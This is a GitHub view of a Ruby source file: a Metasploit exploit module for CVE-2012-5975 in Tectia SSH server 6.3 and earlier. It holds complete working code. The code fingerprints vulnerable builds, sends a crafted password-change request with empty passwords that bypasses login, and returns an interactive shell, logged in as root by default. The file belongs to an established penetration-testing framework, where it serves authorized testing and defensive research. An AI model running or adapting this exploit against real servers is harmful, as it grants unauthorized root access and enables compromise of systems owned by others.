Permalink
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/exploits/unix/ssh/tectia_passwd_changereq.rb /
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
233 lines (200 sloc)
6.63 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require 'net/ssh' | |
| require 'net/ssh/command_stream' | |
| class MetasploitModule < Msf::Exploit::Remote | |
| Rank = ExcellentRanking | |
| include Msf::Exploit::Remote::Tcp | |
| include Msf::Exploit::Remote::SSH | |
| def initialize(info={}) | |
| super(update_info(info, | |
| 'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability", | |
| 'Description' => %q{ | |
| This module exploits a vulnerability in Tectia SSH server for Unix-based | |
| platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request | |
| before password authentication, allowing any remote user to bypass the login | |
| routine, and then gain access as root. | |
| }, | |
| 'License' => MSF_LICENSE, | |
| 'Author' => | |
| [ | |
| 'kingcope', #Original 0day | |
| 'bperry', | |
| 'sinn3r' | |
| ], | |
| 'References' => | |
| [ | |
| ['CVE', '2012-5975'], | |
| ['EDB', '23082'], | |
| ['OSVDB', '88103'], | |
| ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12'] | |
| ], | |
| 'Payload' => | |
| { | |
| 'Compat' => | |
| { | |
| 'PayloadType' => 'cmd_interact', | |
| 'ConnectionType' => 'find' | |
| } | |
| }, | |
| 'Platform' => 'unix', | |
| 'Arch' => ARCH_CMD, | |
| 'Targets' => | |
| [ | |
| ['Unix-based Tectia SSH 6.3 or prior', {}] | |
| ], | |
| 'Privileged' => true, | |
| 'DisclosureDate' => '2012-12-01', | |
| 'DefaultTarget' => 0)) | |
| register_options( | |
| [ | |
| Opt::RPORT(22), | |
| OptString.new('USERNAME', [true, 'The username to login as', 'root']) | |
| ], self.class | |
| ) | |
| register_advanced_options( | |
| [ | |
| OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) | |
| ] | |
| ) | |
| end | |
| def check | |
| connect | |
| banner = sock.get_once.to_s.strip | |
| vprint_status("#{rhost}:#{rport} - Banner: #{banner}") | |
| disconnect | |
| # Vulnerable version info obtained from CVE | |
| version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || '' | |
| build = version.split('.')[-1].to_i | |
| case version | |
| when /^6\.0/ | |
| unless (4..14).include?(build) or (17..20).include?(build) | |
| return Exploit::CheckCode::Safe | |
| end | |
| when /^6\.1/ | |
| unless (0..9).include?(build) or build == 12 | |
| return Exploit::CheckCode::Safe | |
| end | |
| when /^6\.2/ | |
| unless (0..5).include?(build) | |
| return Exploit::CheckCode::Safe | |
| end | |
| when /^6\.3/ | |
| unless (0..2).include?(build) | |
| return Exploit::CheckCode::Safe | |
| end | |
| else | |
| return Exploit::CheckCode::Safe | |
| end | |
| # The vulnerable version must use PASSWORD method | |
| user = Rex::Text.rand_text_alpha(4) | |
| transport, connection = init_ssh(user) | |
| return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport) | |
| return Exploit::CheckCode::Safe | |
| end | |
| def rhost | |
| datastore['RHOST'] | |
| end | |
| def rport | |
| datastore['RPORT'] | |
| end | |
| def is_passwd_method?(user, transport) | |
| # A normal client is expected to send a ssh-userauth packet. | |
| # Without it, the module can hang against non-vulnerable SSH servers. | |
| transport.send_message(transport.service_request("ssh-userauth")) | |
| message = transport.next_message | |
| # 6 means SERVICE_ACCEPT | |
| if message.type != 6 | |
| print_error("Unexpected message: #{message.inspect}") | |
| return false | |
| end | |
| # We send this packet as an attempt to see what auth methods are available. | |
| # The only auth method we want is PASSWORD. | |
| pkt = Net::SSH::Buffer.from( | |
| :byte, 0x32, #userauth request | |
| :string, user, #username | |
| :string, "ssh-connection", #service | |
| :string, "password" #method name | |
| ) | |
| pkt.write_bool(true) | |
| pkt.write_string("") #Old pass | |
| pkt.write_string("") #New pass | |
| transport.send_message(pkt) | |
| message = transport.next_message | |
| # Type 51 means the server is trying to tell us what auth methods are allowed. | |
| if message.type == 51 and message.to_s !~ /password/ | |
| print_error("#{rhost}:#{rport} - This host does not use password method authentication") | |
| return false | |
| end | |
| return true | |
| end | |
| # | |
| # The following link is useful to understand how to craft the USERAUTH password change | |
| # request packet: | |
| # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903 | |
| # | |
| def userauth_passwd_change(user, transport, connection) | |
| print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...") | |
| pkt = Net::SSH::Buffer.from( | |
| :byte, 0x32, #userauth request | |
| :string, user, #username | |
| :string, "ssh-connection", #service | |
| :string, "password" #method name | |
| ) | |
| pkt.write_bool(true) | |
| pkt.write_string("") #Old pass | |
| pkt.write_string("") #New pass | |
| transport.send_message(pkt) | |
| message = transport.next_message.type | |
| print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}") | |
| if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS | |
| transport.send_message(transport.service_request("ssh-userauth")) | |
| message = transport.next_message.type | |
| if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT | |
| shell = Net::SSH::CommandStream.new(connection) | |
| connection = nil | |
| return shell | |
| end | |
| end | |
| end | |
| def init_ssh(user) | |
| opts = ssh_client_defaults.merge({ | |
| :user => user, | |
| :port => rport | |
| }) | |
| options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts) | |
| transport = Net::SSH::Transport::Session.new(rhost, options) | |
| connection = Net::SSH::Connection::Session.new(transport, options) | |
| return transport, connection | |
| end | |
| def do_login(user) | |
| transport, connection = init_ssh(user) | |
| passwd = is_passwd_method?(user, transport) | |
| if passwd | |
| conn = userauth_passwd_change(user, transport, connection) | |
| return conn | |
| end | |
| end | |
| def exploit | |
| c = nil | |
| begin | |
| ::Timeout.timeout(datastore['SSH_TIMEOUT']) do | |
| c = do_login(datastore['USERNAME']) | |
| end | |
| rescue Rex::ConnectionError | |
| return | |
| rescue Net::SSH::Disconnect, ::EOFError | |
| print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" | |
| return | |
| rescue Net::SSH::Exception => e | |
| print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" | |
| return | |
| rescue ::Timeout::Error | |
| print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" | |
| return | |
| end | |
| handler(c.lsock) if c | |
| end | |
| end |